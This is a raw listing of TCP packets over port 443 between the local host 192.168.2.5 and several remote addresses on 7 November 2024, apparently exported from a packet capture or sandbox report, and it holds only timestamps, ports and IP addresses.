Nov 7, 2024 23:47:29.501247883 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.501255035 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.501274109 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.501562119 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.501570940 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.501596928 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.501609087 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.501627922 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.501630068 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.501631975 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.501646996 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.501663923 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.501663923 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.501673937 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.501687050 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.506797075 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.506804943 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.506834030 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.506890059 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.506897926 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.506928921 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.506949902 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.571404934 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.603641033 CET	443	49756	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:29.603714943 CET	443	49756	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:29.603771925 CET	443	49756	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:29.603784084 CET	49756	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:29.603811026 CET	49756	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:29.604943991 CET	49756	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:29.604957104 CET	443	49756	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:29.606661081 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.606759071 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.606760025 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.606856108 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.608880043 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.608896017 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.614221096 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:29.618947029 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.618964911 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.618998051 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.619010925 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.619024992 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.619055033 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.619070053 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.619200945 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.619874954 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.619887114 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.635557890 CET	49774	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:29.635588884 CET	443	49774	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:29.635747910 CET	49774	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:29.636208057 CET	49774	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:29.636220932 CET	443	49774	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:29.684194088 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.684204102 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.684228897 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.684241056 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.684253931 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.684269905 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:29.684287071 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.684314013 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:29.684343100 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:29.684590101 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.684638023 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.684658051 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:29.684827089 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:29.685314894 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:29.685329914 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.718741894 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.729767084 CET	49766	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.729775906 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.730113983 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.730844021 CET	49766	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.730918884 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.730952024 CET	49766	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.746998072 CET	443	49763	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.758486986 CET	443	49762	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.763542891 CET	443	49764	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.765448093 CET	49763	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.765465975 CET	443	49763	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.766036987 CET	49763	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.766041040 CET	443	49763	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.766742945 CET	49762	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.766762018 CET	443	49762	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.767380953 CET	49762	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.767385006 CET	443	49762	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.770901918 CET	49764	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.770921946 CET	443	49764	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.771471977 CET	49764	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.771477938 CET	443	49764	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.773749113 CET	443	49765	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.774163008 CET	49766	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.774177074 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.774581909 CET	49765	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.774602890 CET	443	49765	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.775141954 CET	49765	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.775151014 CET	443	49765	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.780561924 CET	443	49761	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.781333923 CET	49761	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.781352043 CET	443	49761	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.781666040 CET	49761	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.781671047 CET	443	49761	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.864417076 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.864471912 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.864509106 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.864543915 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.864578962 CET	49766	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.864583015 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.864603996 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.864620924 CET	49766	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.864633083 CET	49766	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.864644051 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.865031958 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.867796898 CET	49766	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.891141891 CET	443	49771	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.892980099 CET	443	49763	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.893158913 CET	443	49763	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.894989014 CET	443	49764	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.895066023 CET	49763	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.895349979 CET	443	49764	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.895786047 CET	49764	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.898307085 CET	443	49762	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.898508072 CET	443	49762	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.899811983 CET	49762	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.904520988 CET	443	49765	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.904659033 CET	443	49765	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.905412912 CET	49765	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.916709900 CET	443	49761	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.916845083 CET	443	49761	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.919796944 CET	49761	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.942328930 CET	49771	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.967686892 CET	443	49768	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.970887899 CET	443	49769	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.972763062 CET	443	49767	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.973278046 CET	443	49770	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.011748075 CET	49768	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.020113945 CET	443	49772	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.020411015 CET	49770	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.020415068 CET	49767	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.020416021 CET	49769	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.073791027 CET	49772	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.141400099 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:30.141419888 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:30.141427040 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:30.141446114 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:30.141453028 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:30.141455889 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:30.141496897 CET	49732	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:30.141510963 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:30.141519070 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:30.141545057 CET	49732	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:30.141560078 CET	49732	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:30.143472910 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:30.143513918 CET	49732	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:30.143531084 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:30.143790960 CET	49732	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:30.404548883 CET	49772	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.404565096 CET	443	49772	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.404793024 CET	49770	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.404814959 CET	443	49770	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.404992104 CET	49767	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.405013084 CET	443	49767	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.405234098 CET	49769	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.405261040 CET	443	49769	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.405329943 CET	49768	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.405340910 CET	443	49768	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.405438900 CET	49771	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.405458927 CET	443	49771	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:30.405724049 CET	443	49772	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.405738115 CET	443	49772	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.405778885 CET	49772	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.405893087 CET	443	49770	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.405962944 CET	49770	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.406075001 CET	443	49767	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.406128883 CET	49767	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.406342030 CET	443	49769	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.406398058 CET	49769	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.406430006 CET	443	49768	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.406476021 CET	49768	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.406543016 CET	443	49771	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:30.406555891 CET	443	49771	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:30.406621933 CET	49771	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.407399893 CET	49772	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.407466888 CET	443	49772	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.414555073 CET	49770	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.414628029 CET	443	49770	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.416321993 CET	49767	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.416389942 CET	443	49767	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.416807890 CET	49769	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.416887999 CET	443	49769	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.417218924 CET	49768	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.417278051 CET	443	49768	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.417762041 CET	49771	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.417762041 CET	49771	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.417762995 CET	49771	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.417826891 CET	443	49771	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:30.417901993 CET	49771	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.418222904 CET	49777	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.418267965 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:30.418332100 CET	49777	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.420370102 CET	49772	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.420376062 CET	443	49772	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.420629025 CET	49777	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.420643091 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:30.420954943 CET	49770	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.420962095 CET	443	49770	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.421006918 CET	49767	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.421019077 CET	443	49767	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.421046972 CET	49769	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.421057940 CET	443	49769	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.421186924 CET	49768	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.421191931 CET	443	49768	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.422059059 CET	49763	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.422068119 CET	443	49763	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.424420118 CET	49761	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.424424887 CET	443	49761	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.424432993 CET	49761	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.424437046 CET	443	49761	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.427952051 CET	49764	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.427980900 CET	443	49764	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.427995920 CET	49764	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.428000927 CET	443	49764	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.429294109 CET	49762	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.429294109 CET	49762	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.429313898 CET	443	49762	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.429323912 CET	443	49762	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.430505991 CET	49765	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.430520058 CET	443	49765	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.430531025 CET	49765	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.430538893 CET	443	49765	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.434796095 CET	49778	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.434827089 CET	443	49778	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.434878111 CET	49778	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.435739040 CET	49732	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:30.435753107 CET	443	49732	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:30.463810921 CET	49778	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.463831902 CET	443	49778	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.475373030 CET	49770	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.475375891 CET	49772	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.475382090 CET	49768	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.475384951 CET	49767	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.475387096 CET	49769	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.477401972 CET	49779	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.477423906 CET	443	49779	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.477477074 CET	49779	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.477956057 CET	49779	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.477967024 CET	443	49779	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.478889942 CET	49780	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.478918076 CET	443	49780	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.478969097 CET	49780	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.479157925 CET	49780	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.479171991 CET	443	49780	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.482737064 CET	49781	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.482758045 CET	443	49781	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.482821941 CET	49781	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.484632969 CET	49782	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.484641075 CET	443	49782	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.484689951 CET	49782	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.485791922 CET	49781	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.485797882 CET	443	49781	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.485883951 CET	49782	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.485894918 CET	443	49782	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.493269920 CET	49766	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.493278980 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:30.544320107 CET	443	49772	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.544411898 CET	443	49772	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.544462919 CET	443	49772	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.544485092 CET	49772	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.544557095 CET	49772	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.546561956 CET	443	49770	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.547174931 CET	443	49770	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.547223091 CET	49770	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.548769951 CET	443	49768	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.548913002 CET	443	49768	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.548990011 CET	49768	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.549000978 CET	443	49769	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.549386024 CET	443	49769	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.549432039 CET	49769	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.570883036 CET	443	49767	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.570900917 CET	443	49767	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.570950985 CET	49767	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.570966005 CET	443	49767	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.573072910 CET	443	49767	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.573127985 CET	49767	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.664331913 CET	443	49774	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:30.714791059 CET	49774	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:30.720765114 CET	49774	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:30.720772028 CET	443	49774	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:30.721815109 CET	443	49774	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:30.721883059 CET	49774	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:30.724299908 CET	49783	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.724323034 CET	443	49783	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:30.724374056 CET	49783	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.725110054 CET	49774	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:30.725172043 CET	443	49774	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:30.725310087 CET	49783	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.725322008 CET	443	49783	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:30.725909948 CET	49774	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:30.725917101 CET	443	49774	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:30.766477108 CET	49774	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:30.828687906 CET	49769	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.828710079 CET	443	49769	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.829293013 CET	49768	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.829317093 CET	443	49768	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.830013037 CET	49770	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.830019951 CET	443	49770	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.831290960 CET	49772	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.831305027 CET	443	49772	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.832880974 CET	49767	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:30.832892895 CET	443	49767	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:30.917529106 CET	49784	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.917550087 CET	443	49784	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:30.917608976 CET	49784	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.917855978 CET	49784	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:30.917871952 CET	443	49784	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:30.955007076 CET	443	49774	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:30.955044031 CET	443	49774	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:30.955089092 CET	49774	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:30.955095053 CET	443	49774	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:30.955148935 CET	49774	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:30.958169937 CET	49774	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:30.958182096 CET	443	49774	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:31.041110039 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.043044090 CET	49777	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.043060064 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.043410063 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.044116974 CET	49777	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.044182062 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.044258118 CET	49777	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.087323904 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.137162924 CET	49785	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:31.137197018 CET	443	49785	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:31.137273073 CET	49785	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:31.137886047 CET	49785	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:31.137902021 CET	443	49785	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:31.202459097 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.202496052 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.202528000 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.202541113 CET	49777	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:31.202558041 CET	443	49777	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:31.202598095 CET	49777	443	192.168.2.5	172.67.191.88
